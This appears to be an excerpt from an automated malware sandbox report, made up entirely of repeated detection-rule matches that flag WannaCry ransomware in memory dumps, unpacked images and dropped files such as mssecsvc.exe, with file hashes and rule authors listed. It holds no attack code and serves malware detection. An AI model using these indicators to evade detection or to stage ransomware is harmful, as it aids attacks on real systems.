              Source: 00000008.00000000.294287022.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.286963236.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000002.557301773.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.287911661.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000008.00000000.298064075.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000008.00000002.378431386.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000010.00000002.386077102.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7Qu8thR7WW.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
              Source: 7Qu8thR7WW.dll, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7Qu8thR7WW.dll, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 16.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 8.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 8.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 16.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 8.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 16.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 16.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
